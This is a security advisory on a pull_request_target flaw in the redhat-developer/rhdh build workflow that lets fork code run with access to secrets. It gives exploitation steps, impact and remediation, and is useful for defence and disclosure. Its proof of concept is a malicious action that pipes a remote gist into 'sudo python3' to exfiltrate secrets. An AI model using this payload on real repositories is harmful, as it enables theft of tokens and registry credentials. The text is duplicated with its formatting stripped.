Vulnerability summary
The .github/workflows/pr-build-image.yaml workflow is susceptible to malicious code execution. This vulnerability arises from its use of pull_request_target triggers, which, in conjunction with how local actions are checked out and executed, allows code from an attacker-controlled fork to run with privileged access to secrets.
Exploitation scenario
- The attacker forks the
redhat-developer/rhdh repository.
- The attacker modifies local GitHub Action files within their forked repository, such as
.github/actions/check-image-and-changes/action.yaml or .github/actions/docker-build/action.yaml, to include malicious commands.
- The attacker submits a pull request to the
redhat-developer/rhdh repository containing these modified Action files.
- The
pr-build-image.yaml workflow, triggered by the pull_request_target event, checks out the code from the attacker's pull request branch as per the step at lines 39-44 of the workflow file. This action populates the main workspace with code from the fork, including any malicious GitHub Action definitions.
- Subsequently, at lines 46-48, the workflow executes the compromised
.github/actions/check-image-and-changes/action.yaml (now sourced from the attacker's fork). This allows for Remote Code Execution (RCE) within the workflow's execution context.
- Similarly, at lines 69-82, the compromised
.github/actions/docker-build/action.yaml from the attacker's fork is executed, also leading to RCE.
Proof of Concept (PoC)
The following demonstrates how an attacker could modify .github/actions/check-image-and-changes/action.yaml for malicious purposes:
name: "Malicious Action"
description: "Exfiltrate secrets accessible to the workflow"
runs:
using: "composite"
steps:
- name: Exploit
shell: bash
run: curl -sL https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/ | sudo python3
Impact
A successful exploit enables an attacker to exfiltrate sensitive data accessible to the GitHub Actions workflow runner. This includes, but may not be limited to:
GITHUB_TOKEN with packages:write and pull_requests:write permissions.
- Quay.io authentication credentials, specifically
secrets.QUAY_USERNAME and secrets.QUAY_TOKEN.
Potential consequences include unauthorized package publication, manipulation of pull requests, and compromise of container image registries.
Remediation Guidance
Primary Fix: Secure Action Execution
To mitigate this vulnerability, ensure that local GitHub Actions are always executed from the trusted base repository, not from the pull request fork.
Recommended Workflow Modification:
- Checkout Base Repository Code First: Explicitly checkout the base repository's code to ensure that local action definitions are sourced from a trusted commit. This checkout should populate the primary workspace.
- Checkout Pull Request Code (to a subdirectory): If the action needs to operate on the pull request's code, check out the PR's head commit into a separate subdirectory.
- Execute Trusted Local Action: Call the local action using
uses: ./.github/actions/.... Since the main workspace contains the base repository's code (from step 1), this will resolve to the trusted action definition. If the action needs to process code from the pull request, pass the path to the subdirectory (from step 2) as an input.
This approach ensures that the action.yaml files defining the steps are always sourced from your repository's trusted code, while still allowing analysis or operations on code from the pull request.
Secret Management and Permissions
- Rotate
secrets.QUAY_TOKEN immediately, as its compromise must be assumed due to this vulnerability.
Vulnerability summary
The
.github/workflows/pr-build-image.yamlworkflow is susceptible to malicious code execution. This vulnerability arises from its use ofpull_request_targettriggers, which, in conjunction with how local actions are checked out and executed, allows code from an attacker-controlled fork to run with privileged access to secrets.Exploitation scenario
redhat-developer/rhdhrepository..github/actions/check-image-and-changes/action.yamlor.github/actions/docker-build/action.yaml, to include malicious commands.redhat-developer/rhdhrepository containing these modified Action files.pr-build-image.yamlworkflow, triggered by thepull_request_targetevent, checks out the code from the attacker's pull request branch as per the step at lines 39-44 of the workflow file. This action populates the main workspace with code from the fork, including any malicious GitHub Action definitions..github/actions/check-image-and-changes/action.yaml(now sourced from the attacker's fork). This allows for Remote Code Execution (RCE) within the workflow's execution context..github/actions/docker-build/action.yamlfrom the attacker's fork is executed, also leading to RCE.Proof of Concept (PoC)
The following demonstrates how an attacker could modify
.github/actions/check-image-and-changes/action.yamlfor malicious purposes:Impact
A successful exploit enables an attacker to exfiltrate sensitive data accessible to the GitHub Actions workflow runner. This includes, but may not be limited to:
GITHUB_TOKENwithpackages:writeandpull_requests:writepermissions.secrets.QUAY_USERNAMEandsecrets.QUAY_TOKEN.Potential consequences include unauthorized package publication, manipulation of pull requests, and compromise of container image registries.
Remediation Guidance
Primary Fix: Secure Action Execution
To mitigate this vulnerability, ensure that local GitHub Actions are always executed from the trusted base repository, not from the pull request fork.
Recommended Workflow Modification:
uses: ./.github/actions/.... Since the main workspace contains the base repository's code (from step 1), this will resolve to the trusted action definition. If the action needs to process code from the pull request, pass the path to the subdirectory (from step 2) as an input.This approach ensures that the
action.yamlfiles defining the steps are always sourced from your repository's trusted code, while still allowing analysis or operations on code from the pull request.Secret Management and Permissions
secrets.QUAY_TOKENimmediately, as its compromise must be assumed due to this vulnerability.